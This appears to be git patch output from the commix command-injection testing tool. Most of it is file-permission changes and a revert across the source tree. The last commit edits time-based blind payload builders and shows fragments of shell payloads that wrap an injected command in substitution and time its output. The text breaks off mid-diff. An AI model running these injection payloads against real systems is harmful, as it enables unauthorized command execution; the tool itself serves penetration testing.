src/core/injections/blind/techniques/__init__.py mode change 100644 => 100755 src/core/injections/blind/techniques/time_based/__init__.py mode change 100644 => 100755 src/core/injections/controller/__init__.py mode change 100644 => 100755 src/core/injections/controller/controller.py mode change 100644 => 100755 src/core/injections/results_based/__init__.py mode change 100644 => 100755 src/core/injections/results_based/techniques/__init__.py mode change 100644 => 100755 src/core/injections/results_based/techniques/classic/__init__.py mode change 100644 => 100755 src/core/injections/results_based/techniques/eval_based/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/techniques/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/techniques/file_based/__init__.py mode change 100644 => 100755 src/core/injections/semiblind/techniques/tempfile_based/__init__.py mode change 100644 => 100755 src/core/main.py mode change 100644 => 100755 src/core/modules/__init__.py mode change 100644 => 100755 src/core/modules/dns_exfiltration/__init__.py mode change 100644 => 100755 src/core/modules/icmp_exfiltration/__init__.py mode change 100644 => 100755 src/core/modules/modules_handler.py mode change 100644 => 100755 src/core/modules/shellshock/__init__.py mode change 100644 => 100755 src/core/requests/__init__.py mode change 100644 => 100755 src/core/requests/authentication.py mode change 100644 => 100755 src/core/requests/proxy.py mode change 100644 => 100755 src/core/requests/tor.py mode change 100644 => 100755 src/core/shells/__init__.py mode change 100644 => 100755 src/core/tamper/__init__.py mode change 100644 => 100755 src/core/tamper/backslashes.py mode change 100644 => 100755 src/core/tamper/backticks.py mode change 100644 => 100755 src/core/tamper/base64encode.py mode change 100644 => 100755 src/core/tamper/caret.py mode change 100644 => 100755 src/core/tamper/dollaratsigns.py mode change 100644 => 100755 src/core/tamper/doublequotes.py mode change 100644 => 100755 src/core/tamper/hexencode.py mode change 100644 => 100755 src/core/tamper/multiplespaces.py mode change 100644 => 100755 src/core/tamper/nested.py mode change 100644 => 100755 src/core/tamper/singlequotes.py mode change 100644 => 100755 src/core/tamper/slash2env.py mode change 100644 => 100755 src/core/tamper/sleep2timeout.py mode change 100644 => 100755 src/core/tamper/sleep2usleep.py mode change 100644 => 100755 src/core/tamper/space2htab.py mode change 100644 => 100755 src/core/tamper/space2ifs.py mode change 100644 => 100755 src/core/tamper/space2plus.py mode change 100644 => 100755 src/core/tamper/space2vtab.py mode change 100644 => 100755 src/core/tamper/uninitializedvariable.py mode change 100644 => 100755 src/core/tamper/xforwardedfor.py mode change 100644 => 100755 src/core/testing.py mode change 100644 => 100755 src/thirdparty/__init__.py mode change 100644 => 100755 src/thirdparty/beautifulsoup/__init__.py mode change 100644 => 100755 src/thirdparty/beautifulsoup/beautifulsoup.py mode change 100644 => 100755 src/thirdparty/colorama/__init__.py mode change 100644 => 100755 src/thirdparty/colorama/ansi.py mode change 100644 => 100755 src/thirdparty/colorama/ansitowin32.py mode change 100644 => 100755 src/thirdparty/colorama/initialise.py mode change 100644 => 100755 src/thirdparty/colorama/win32.py mode change 100644 => 100755 src/thirdparty/colorama/winterm.py mode change 100644 => 100755 src/thirdparty/flatten_json/__init__.py mode change 100644 => 100755 src/thirdparty/flatten_json/flatten_json.py mode change 100644 => 100755 src/thirdparty/odict/__init__.py mode change 100644 => 100755 src/thirdparty/six/__init__.py mode change 100644 => 100755 src/txt/passwords_john.txt mode change 100644 => 100755 src/txt/shocker-cgi_list.txt mode change 100644 => 100755 src/txt/usernames.txt mode change 100644 => 100755 src/utils/__init__.py mode change 100644 => 100755 src/utils/colors.py mode change 100644 => 100755 src/utils/common.py mode change 100644 => 100755 src/utils/crawler.py mode change 100644 => 100755 src/utils/install.py mode change 100644 => 100755 src/utils/purge.py mode change 100644 => 100755 src/utils/requirments.py mode change 100644 => 100755 src/utils/sgmllib.py mode change 100644 => 100755 src/utils/simple_http_server.py mode change 100644 => 100755 src/utils/version.py diff --git a/COMMITMENT.txt b/COMMITMENT.txt old mode 100644 new mode 100755 diff --git a/LICENSE.txt b/LICENSE.txt old mode 100644 new mode 100755 diff --git a/README.md b/README.md old mode 100644 new mode 100755 diff --git a/doc/AUTHOR b/doc/AUTHOR old mode 100644 new mode 100755 diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md old mode 100644 new mode 100755 diff --git a/setup.py b/setup.py old mode 100644 new mode 100755 diff --git a/src/__init__.py b/src/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/__init__.py b/src/core/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/compat.py b/src/core/compat.py old mode 100644 new mode 100755 diff --git a/src/core/convert.py b/src/core/convert.py old mode 100644 new mode 100755 diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/main.py b/src/core/main.py old mode 100644 new mode 100755 diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py old mode 100644 new mode 100755 diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py old mode 100644 new mode 100755 diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py old mode 100644 new mode 100755 diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py old mode 100644 new mode 100755 diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py old mode 100644 new mode 100755 diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py old mode 100644 new mode 100755 diff --git a/src/core/testing.py b/src/core/testing.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/__init__.py b/src/thirdparty/colorama/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/initialise.py b/src/thirdparty/colorama/initialise.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/win32.py b/src/thirdparty/colorama/win32.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/colorama/winterm.py b/src/thirdparty/colorama/winterm.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py old mode 100644 new mode 100755 diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py old mode 100644 new mode 100755 diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt old mode 100644 new mode 100755 diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt old mode 100644 new mode 100755 diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt old mode 100644 new mode 100755 diff --git a/src/utils/__init__.py b/src/utils/__init__.py old mode 100644 new mode 100755 diff --git a/src/utils/colors.py b/src/utils/colors.py old mode 100644 new mode 100755 diff --git a/src/utils/common.py b/src/utils/common.py old mode 100644 new mode 100755 diff --git a/src/utils/crawler.py b/src/utils/crawler.py old mode 100644 new mode 100755 diff --git a/src/utils/install.py b/src/utils/install.py old mode 100644 new mode 100755 diff --git a/src/utils/purge.py b/src/utils/purge.py old mode 100644 new mode 100755 diff --git a/src/utils/requirments.py b/src/utils/requirments.py old mode 100644 new mode 100755 diff --git a/src/utils/sgmllib.py b/src/utils/sgmllib.py old mode 100644 new mode 100755 diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py old mode 100644 new mode 100755 diff --git a/src/utils/version.py b/src/utils/version.py old mode 100644 new mode 100755 From 8e499e9fe62e57f2d509c8c52b95f6cca32eafe4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Jan 2022 18:38:12 +0200 Subject: [PATCH 050/560] Revert "Refresh" This reverts commit 11976cfeb714056890c76555dc8ea73e2d96c36c. --- COMMITMENT.txt | 0 LICENSE.txt | 0 README.md | 0 doc/AUTHOR | 0 doc/translations/README-gr-GR.md | 0 setup.py | 0 src/__init__.py | 0 src/core/__init__.py | 0 src/core/compat.py | 0 src/core/convert.py | 0 src/core/injections/__init__.py | 0 src/core/injections/blind/__init__.py | 0 src/core/injections/blind/techniques/__init__.py | 0 src/core/injections/blind/techniques/time_based/__init__.py | 0 src/core/injections/controller/__init__.py | 0 src/core/injections/controller/controller.py | 0 src/core/injections/results_based/__init__.py | 0 src/core/injections/results_based/techniques/__init__.py | 0 src/core/injections/results_based/techniques/classic/__init__.py | 0 .../injections/results_based/techniques/eval_based/__init__.py | 0 src/core/injections/semiblind/__init__.py | 0 src/core/injections/semiblind/techniques/__init__.py | 0 src/core/injections/semiblind/techniques/file_based/__init__.py | 0 .../injections/semiblind/techniques/tempfile_based/__init__.py | 0 src/core/main.py | 0 src/core/modules/__init__.py | 0 src/core/modules/dns_exfiltration/__init__.py | 0 src/core/modules/icmp_exfiltration/__init__.py | 0 src/core/modules/modules_handler.py | 0 src/core/modules/shellshock/__init__.py | 0 src/core/requests/__init__.py | 0 src/core/requests/authentication.py | 0 src/core/requests/proxy.py | 0 src/core/requests/tor.py | 0 src/core/shells/__init__.py | 0 src/core/tamper/__init__.py | 0 src/core/tamper/backslashes.py | 0 src/core/tamper/backticks.py | 0 src/core/tamper/base64encode.py | 0 src/core/tamper/caret.py | 0 src/core/tamper/dollaratsigns.py | 0 src/core/tamper/doublequotes.py | 0 src/core/tamper/hexencode.py | 0 src/core/tamper/multiplespaces.py | 0 src/core/tamper/nested.py | 0 src/core/tamper/singlequotes.py | 0 src/core/tamper/slash2env.py | 0 src/core/tamper/sleep2timeout.py | 0 src/core/tamper/sleep2usleep.py | 0 src/core/tamper/space2htab.py | 0 src/core/tamper/space2ifs.py | 0 src/core/tamper/space2plus.py | 0 src/core/tamper/space2vtab.py | 0 src/core/tamper/uninitializedvariable.py | 0 src/core/tamper/xforwardedfor.py | 0 src/core/testing.py | 0 src/thirdparty/__init__.py | 0 src/thirdparty/beautifulsoup/__init__.py | 0 src/thirdparty/beautifulsoup/beautifulsoup.py | 0 src/thirdparty/colorama/__init__.py | 0 src/thirdparty/colorama/ansi.py | 0 src/thirdparty/colorama/ansitowin32.py | 0 src/thirdparty/colorama/initialise.py | 0 src/thirdparty/colorama/win32.py | 0 src/thirdparty/colorama/winterm.py | 0 src/thirdparty/flatten_json/__init__.py | 0 src/thirdparty/flatten_json/flatten_json.py | 0 src/thirdparty/odict/__init__.py | 0 src/thirdparty/six/__init__.py | 0 src/txt/passwords_john.txt | 0 src/txt/shocker-cgi_list.txt | 0 src/txt/usernames.txt | 0 src/utils/__init__.py | 0 src/utils/colors.py | 0 src/utils/common.py | 0 src/utils/crawler.py | 0 src/utils/install.py | 0 src/utils/purge.py | 0 src/utils/requirments.py | 0 src/utils/sgmllib.py | 0 src/utils/simple_http_server.py | 0 src/utils/version.py | 0 82 files changed, 0 insertions(+), 0 deletions(-) mode change 100755 => 100644 COMMITMENT.txt mode change 100755 => 100644 LICENSE.txt mode change 100755 => 100644 README.md mode change 100755 => 100644 doc/AUTHOR mode change 100755 => 100644 doc/translations/README-gr-GR.md mode change 100755 => 100644 setup.py mode change 100755 => 100644 src/__init__.py mode change 100755 => 100644 src/core/__init__.py mode change 100755 => 100644 src/core/compat.py mode change 100755 => 100644 src/core/convert.py mode change 100755 => 100644 src/core/injections/__init__.py mode change 100755 => 100644 src/core/injections/blind/__init__.py mode change 100755 => 100644 src/core/injections/blind/techniques/__init__.py mode change 100755 => 100644 src/core/injections/blind/techniques/time_based/__init__.py mode change 100755 => 100644 src/core/injections/controller/__init__.py mode change 100755 => 100644 src/core/injections/controller/controller.py mode change 100755 => 100644 src/core/injections/results_based/__init__.py mode change 100755 => 100644 src/core/injections/results_based/techniques/__init__.py mode change 100755 => 100644 src/core/injections/results_based/techniques/classic/__init__.py mode change 100755 => 100644 src/core/injections/results_based/techniques/eval_based/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/techniques/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/techniques/file_based/__init__.py mode change 100755 => 100644 src/core/injections/semiblind/techniques/tempfile_based/__init__.py mode change 100755 => 100644 src/core/main.py mode change 100755 => 100644 src/core/modules/__init__.py mode change 100755 => 100644 src/core/modules/dns_exfiltration/__init__.py mode change 100755 => 100644 src/core/modules/icmp_exfiltration/__init__.py mode change 100755 => 100644 src/core/modules/modules_handler.py mode change 100755 => 100644 src/core/modules/shellshock/__init__.py mode change 100755 => 100644 src/core/requests/__init__.py mode change 100755 => 100644 src/core/requests/authentication.py mode change 100755 => 100644 src/core/requests/proxy.py mode change 100755 => 100644 src/core/requests/tor.py mode change 100755 => 100644 src/core/shells/__init__.py mode change 100755 => 100644 src/core/tamper/__init__.py mode change 100755 => 100644 src/core/tamper/backslashes.py mode change 100755 => 100644 src/core/tamper/backticks.py mode change 100755 => 100644 src/core/tamper/base64encode.py mode change 100755 => 100644 src/core/tamper/caret.py mode change 100755 => 100644 src/core/tamper/dollaratsigns.py mode change 100755 => 100644 src/core/tamper/doublequotes.py mode change 100755 => 100644 src/core/tamper/hexencode.py mode change 100755 => 100644 src/core/tamper/multiplespaces.py mode change 100755 => 100644 src/core/tamper/nested.py mode change 100755 => 100644 src/core/tamper/singlequotes.py mode change 100755 => 100644 src/core/tamper/slash2env.py mode change 100755 => 100644 src/core/tamper/sleep2timeout.py mode change 100755 => 100644 src/core/tamper/sleep2usleep.py mode change 100755 => 100644 src/core/tamper/space2htab.py mode change 100755 => 100644 src/core/tamper/space2ifs.py mode change 100755 => 100644 src/core/tamper/space2plus.py mode change 100755 => 100644 src/core/tamper/space2vtab.py mode change 100755 => 100644 src/core/tamper/uninitializedvariable.py mode change 100755 => 100644 src/core/tamper/xforwardedfor.py mode change 100755 => 100644 src/core/testing.py mode change 100755 => 100644 src/thirdparty/__init__.py mode change 100755 => 100644 src/thirdparty/beautifulsoup/__init__.py mode change 100755 => 100644 src/thirdparty/beautifulsoup/beautifulsoup.py mode change 100755 => 100644 src/thirdparty/colorama/__init__.py mode change 100755 => 100644 src/thirdparty/colorama/ansi.py mode change 100755 => 100644 src/thirdparty/colorama/ansitowin32.py mode change 100755 => 100644 src/thirdparty/colorama/initialise.py mode change 100755 => 100644 src/thirdparty/colorama/win32.py mode change 100755 => 100644 src/thirdparty/colorama/winterm.py mode change 100755 => 100644 src/thirdparty/flatten_json/__init__.py mode change 100755 => 100644 src/thirdparty/flatten_json/flatten_json.py mode change 100755 => 100644 src/thirdparty/odict/__init__.py mode change 100755 => 100644 src/thirdparty/six/__init__.py mode change 100755 => 100644 src/txt/passwords_john.txt mode change 100755 => 100644 src/txt/shocker-cgi_list.txt mode change 100755 => 100644 src/txt/usernames.txt mode change 100755 => 100644 src/utils/__init__.py mode change 100755 => 100644 src/utils/colors.py mode change 100755 => 100644 src/utils/common.py mode change 100755 => 100644 src/utils/crawler.py mode change 100755 => 100644 src/utils/install.py mode change 100755 => 100644 src/utils/purge.py mode change 100755 => 100644 src/utils/requirments.py mode change 100755 => 100644 src/utils/sgmllib.py mode change 100755 => 100644 src/utils/simple_http_server.py mode change 100755 => 100644 src/utils/version.py diff --git a/COMMITMENT.txt b/COMMITMENT.txt old mode 100755 new mode 100644 diff --git a/LICENSE.txt b/LICENSE.txt old mode 100755 new mode 100644 diff --git a/README.md b/README.md old mode 100755 new mode 100644 diff --git a/doc/AUTHOR b/doc/AUTHOR old mode 100755 new mode 100644 diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md old mode 100755 new mode 100644 diff --git a/setup.py b/setup.py old mode 100755 new mode 100644 diff --git a/src/__init__.py b/src/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/__init__.py b/src/core/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/compat.py b/src/core/compat.py old mode 100755 new mode 100644 diff --git a/src/core/convert.py b/src/core/convert.py old mode 100755 new mode 100644 diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/main.py b/src/core/main.py old mode 100755 new mode 100644 diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py old mode 100755 new mode 100644 diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py old mode 100755 new mode 100644 diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py old mode 100755 new mode 100644 diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py old mode 100755 new mode 100644 diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py old mode 100755 new mode 100644 diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py old mode 100755 new mode 100644 diff --git a/src/core/testing.py b/src/core/testing.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/__init__.py b/src/thirdparty/colorama/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/initialise.py b/src/thirdparty/colorama/initialise.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/win32.py b/src/thirdparty/colorama/win32.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/colorama/winterm.py b/src/thirdparty/colorama/winterm.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py old mode 100755 new mode 100644 diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py old mode 100755 new mode 100644 diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt old mode 100755 new mode 100644 diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt old mode 100755 new mode 100644 diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt old mode 100755 new mode 100644 diff --git a/src/utils/__init__.py b/src/utils/__init__.py old mode 100755 new mode 100644 diff --git a/src/utils/colors.py b/src/utils/colors.py old mode 100755 new mode 100644 diff --git a/src/utils/common.py b/src/utils/common.py old mode 100755 new mode 100644 diff --git a/src/utils/crawler.py b/src/utils/crawler.py old mode 100755 new mode 100644 diff --git a/src/utils/install.py b/src/utils/install.py old mode 100755 new mode 100644 diff --git a/src/utils/purge.py b/src/utils/purge.py old mode 100755 new mode 100644 diff --git a/src/utils/requirments.py b/src/utils/requirments.py old mode 100755 new mode 100644 diff --git a/src/utils/sgmllib.py b/src/utils/sgmllib.py old mode 100755 new mode 100644 diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py old mode 100755 new mode 100644 diff --git a/src/utils/version.py b/src/utils/version.py old mode 100755 new mode 100644 From ef9ae8ef18a9dd043f822a3e7e5d28b37cf7c401 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Jan 2022 09:32:45 +0200 Subject: [PATCH 051/560] Fixes https://github.com/commixproject/commix/issues/730 --- .../blind/techniques/time_based/tb_payloads.py | 16 ++++++++-------- .../techniques/tempfile_based/tfb_payloads.py | 16 ++++++++-------- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 17 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index e2a27a57c4..5dab6f2186 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -56,7 +56,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. @@ -132,7 +132,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Find the length of the output, using readline(). "str1=$(python -c \"print len(\'" + TAG + "\')\")" + separator + @@ -210,7 +210,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + # Find the length of the output. @@ -284,7 +284,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque ) elif separator == "%0a" : - separator = "\n" + #separator = "\n" payload = (separator + # Find the length of the output, using readline(). "str1=$(python -c \"print len(\'$(echo $(" + cmd + "))\')\")" + separator + @@ -363,7 +363,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) elif 